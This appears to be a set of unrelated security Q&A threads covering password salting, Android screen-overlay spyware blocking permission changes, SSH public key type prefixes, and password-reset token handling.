A lot of answers says rightly that using the user id as a salt is not an ideal solution for two reasons:

They stay the same when the password is changed
They are too short

Originally I just meant this to be an example, but this was a red flag for most of you. And everyone is right here!

The username (Or user id) is not a proper salt. Salts should be unique for each combination of username+password, that means if the user changes the password the salt should change too

The salts should be generated randomly upon password changing (Or when the user registers) for example reading from /dev/random or some function that generates cryptographic random numbers. About the length of the salt, it should be long enough to ensure it never repeats


Is it possible to deny Permission access and other Settings using Screen Overlay in Android? I was noticing an app that doesn't need Camera access ever having camera access and other spy capable permission.

When I tried to change the permssion there was a overlay text box saying something similar to Screen overlay detected. Change Screen overlay in Setting and when I clicked it, it took me to take Screen Overlay settings.

So, is it possible to prevent the user from changing Permissions and other settings if an app has Screen Overlay permission?

Logic

1) User goes into a Setting which spyware doesn't want to change like Camera permission.

2) Spyware uses screen overlay to show a psudo-error message and button to other setting or similar.

3) User clicks the button and is redirected to another setting or app or error.

4) Spyware has succeeded in preventing user from denying it Camera permission.

First, a user should be reviewing permissions for an app. I would never authorize an app to do stuff like overlays or camera access without a good reason; the only permissions I grant are those I expect. Even if the app did get camera permission, there's always increasingly aggressive actions the user could take to resolve the situation.

Keep popping up in Settings to try and stop me? I'll just uninstall you from the Home screen. Try to block my home screen? I can always turn on Safe Mode, then uninstall you. If even that fails, I can just format my device, since I keep cloud backups of my data. Unless the device is in developer mode, I'm fairly confident that there's no such thing as an app that can subvert control of the phone so severely that the user can't fix it.

That said, I've also found no evidence that Android "protects" apps, even the Settings screen, from being overlaid, so a novice might have some trouble getting rid of an app that's gone this far. I'm pretty sure that a savvy user, such as myself, would be able to gain control no matter the situation, but an average user might need technical support.


suffix in front of SSH public key I generated varios(DSA, RSA, ECDSA, etc) SSH keys with ssh-keygen and with latest version of PuTTY Key Generator and both utilities suffix the public key with a same string. I mean, for example, both suffix RSA key with ssh-rsa, ED25519 key with ssh-ed25519 or RSA-1 key with a key length(for example 2048). Does this suffix format come from some standard? Are those same suffixes used by all utilities which generate an SSH key-pairs?

Nit: these names come before the blob and thus are prefixes not suffixes.

This standard for the publickey file format is set by OpenSSH, which also also uses it in the known_hosts and authorized_keys files with some more (also prefix!) fields added. See man sshd on Unix with OpenSSH installed or the latest version on the web under "AUTHORIZED_KEYS FILE FORMAT" and "SSH_KNOWN_HOSTS FILE FORMAT". All version 2 keys use a string for keytype and a base64-encoded blob of the publickey as transmitted during SSH(v2) key-exchange, which is defined by several RFCs.

The online manpage no longer includes version 1 keys, although AFAICT all releases to date (through 7.3) still support version 1 BUT strongly discourage its use because it is long obsolete and broken. Version 1 used three decimal numbers: nbits, exponent (small), and modulus (large).

PuTTYgen proactively displays the OpenSSH format, but the SavePublicKey button (or File menu item) writes the different though related format defined by rfc4716 which is also used by OpenSSH ssh-keygen -e/-i. I understand the 'commercial' SSH implementation (fka Tectia) uses this format can't confirm personally.

Keytypes for 'plain' keys are generally defined by the SSHv2 RFCs, linked by an IANA registry. OpenSSH also supports its own form of certificates using keytypes in the vendor-defined format something@openssh.com which aren't registered. Finally, OpenSSH uses the standard-form name ssh-ed25519 even though AFAICT this is still in draft and not yet an RFC.


Two reset password tokens used for the same reset password flow I've a question regarding a forgotten password flow.
Basically I'm sending the password reset token out-of-band to the user, and then the user sends it back with the first request via querystring, I validate it and check it's expiry and then I delete it, and generate and store (hashed) a new one which I return to the user with the new password/confirm password UI, where he'll input the new password. (of course, I also delete the second token after the password is changed)

And I'm curious if it's too excessive to generate a new token to send back with the UI. Or should I just send the old one back again, and then check again when it's sent back with the new password.

Thanks, and have a good one.

I don't see any benefit of using the 2nd temporary token. I assume you're doing this in case the first token is sniffed out during transit, but if it is, then the 2nd key could be sniffed as well. Besides, this process should be occurring within SSL, so the likelihood of getting sniffed is extremely low to begin with.

Typically the weak link in the password reset process is the receiving of an email, but if the user's email account is compromised then the whole process breaks down anyway.